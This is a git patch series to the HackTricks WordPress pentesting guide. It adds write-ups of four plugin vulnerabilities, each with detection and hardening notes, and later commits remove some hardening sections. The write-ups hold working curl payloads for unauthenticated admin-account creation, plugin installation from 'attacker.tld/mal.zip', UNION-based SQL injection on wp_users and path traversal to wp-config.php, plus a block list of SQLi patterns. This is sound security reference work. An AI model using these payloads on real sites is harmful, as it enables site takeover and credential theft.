From cf8c61224459e062a994523fb23036b2b347135a Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 1 Oct 2025 12:43:41 +0000 Subject: [PATCH 1/3] =?UTF-8?q?Add=20content=20from:=20Q3=202025=E2=80=99s?= =?UTF-8?q?=20most=20exploited=20WordPress=20vulnerabilities=20and=20how?= =?UTF-8?q?=20R...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pentesting-web/wordpress.md | 135 +++++++++++++++++- src/welcome/hacktricks-values-and-faq.md | 3 +- 2 files changed, 135 insertions(+), 3 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 7eea42ba0..b935c8f67 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -852,6 +852,135 @@ Patched behaviour (Jobmonster 4.8.0) - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – mint a connection key and use it + +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ + -H 'Content-Type: application/json' \ + --data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ + -H 'Content-Type: application/json' \ + -H 'X-Connection-Key: ' \ + --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` + +Why it’s exploitable +- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback +- No capability enforcement; minted key is accepted as a universal bypass + +Detection checklist +- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability +- Look for subsequent routes that accept the minted token/key without server-side capability checks + +Hardening +- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability +- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use +- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can() + +--- + +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) + +Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin. + +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (shape depends on plugin; illustrative only) + +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ + -H 'Content-Type: application/json' \ + --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` + +Detection checklist +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation + +Hardening +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows + +--- + +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) + +Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. + +- Parameter: s (search) +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization +- Impact: database exfiltration (users, hashes), lateral movement + +PoC + +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ + --data-urlencode 'action=depicter_search' \ + --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" +``` + +Detection checklist +- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL +- Review custom queries passed to $wpdb->get_results()/query() concatenating s + +Hardening +- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side +- Add a strict allowlist for s and normalize to expected charset/length + +--- + +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) + +Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime. + +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: no normalization/allowlisting; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) + +PoC – read wp-config.php + +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` + +Detection checklist +- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment +- Look for traversal patterns (../) reaching outside the intended templates directory + +Hardening +- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) +- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) + +--- + +### Operational detection and virtual patching tips (application layer) + +Until vendors ship fixes, block high-risk routes/parameters at the application layer (e.g., WAF/virtual patching engines that understand WordPress semantics): + +- Block unauthenticated POSTs to /wp-json/sure-triggers/v1/connection/create-wp-connection +- Enforce capability-aware blocks on /plugin/install_and_activate for non-admin callers +- For depicter-* actions, drop requests where s contains SQLi metas ("'", '"', '/*', '*/', '--', ';', 'or ', 'union ', 'select '), tuned per-site +- For __kubio-site-edit-iframe-classic-template, block traversal patterns (../, ..\) and absolute paths + +Logging: monitor for hits to the above and alert on nonces used pre-auth or surges in depicter-* queries. + ## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) @@ -863,7 +992,11 @@ Patched behaviour (Jobmonster 4.8.0) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) - - [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} - From b97cee43952da3d0c3b6507615e6feed7d943d50 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:00:33 +0200 Subject: [PATCH 2/3] Update wordpress.md --- .../pentesting-web/wordpress.md | 55 ------------------- 1 file changed, 55 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index b935c8f67..c25e585e4 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -447,15 +447,6 @@ Detection checklist - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. -Hardening - -- Never derive authentication or authorization from client-controlled headers. -- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side. -- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`). -- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”. - -References: see the links at the end of this page for a public case and broader analysis. - ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: @@ -511,31 +502,6 @@ Other impactful targets include plugin/theme `.php` files (to break security plu * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. -#### Hardening - -```php -function secure_remove_font_family() { - if ( ! is_user_logged_in() ) { - wp_send_json_error( 'forbidden', 403 ); - } - check_ajax_referer( 'litho_fonts_nonce' ); - - $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); - $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - - if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { - wp_send_json_error( 'invalid path', 400 ); - } - // … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` - -> [!TIP] -> **Always** treat any write/delete operation on disk as privileged and double-check: -> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). - --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") @@ -565,12 +531,6 @@ Why it’s exploitable - If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path. - In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization). -Attack prerequisites - -- Vulnerable plugin version with the feature enabled. -- Target account has a stale high-privilege role stored in user meta from earlier use. -- Any authenticated session; missing nonce/capability on the reset flow. - Exploitation (example) ```bash @@ -591,21 +551,6 @@ Detection checklist - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities. -Hardening - -- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter). -- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`. -- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy. -- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration: - -```php -add_action( 'profile_update', function( $user_id ) { - delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` - -- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches. - --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) From 7638765b53f229873991fc05f5e7390d0691538e Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:01:06 +0200 Subject: [PATCH 3/3] Update wordpress.md --- .../pentesting-web/wordpress.md | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index c25e585e4..cf9b546a2 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -913,18 +913,6 @@ Hardening - Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) - Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) ---- - -### Operational detection and virtual patching tips (application layer) - -Until vendors ship fixes, block high-risk routes/parameters at the application layer (e.g., WAF/virtual patching engines that understand WordPress semantics): - -- Block unauthenticated POSTs to /wp-json/sure-triggers/v1/connection/create-wp-connection -- Enforce capability-aware blocks on /plugin/install_and_activate for non-admin callers -- For depicter-* actions, drop requests where s contains SQLi metas ("'", '"', '/*', '*/', '--', ';', 'or ', 'union ', 'select '), tuned per-site -- For __kubio-site-edit-iframe-classic-template, block traversal patterns (../, ..\) and absolute paths - -Logging: monitor for hits to the above and alert on nonces used pre-auth or surges in depicter-* queries. ## References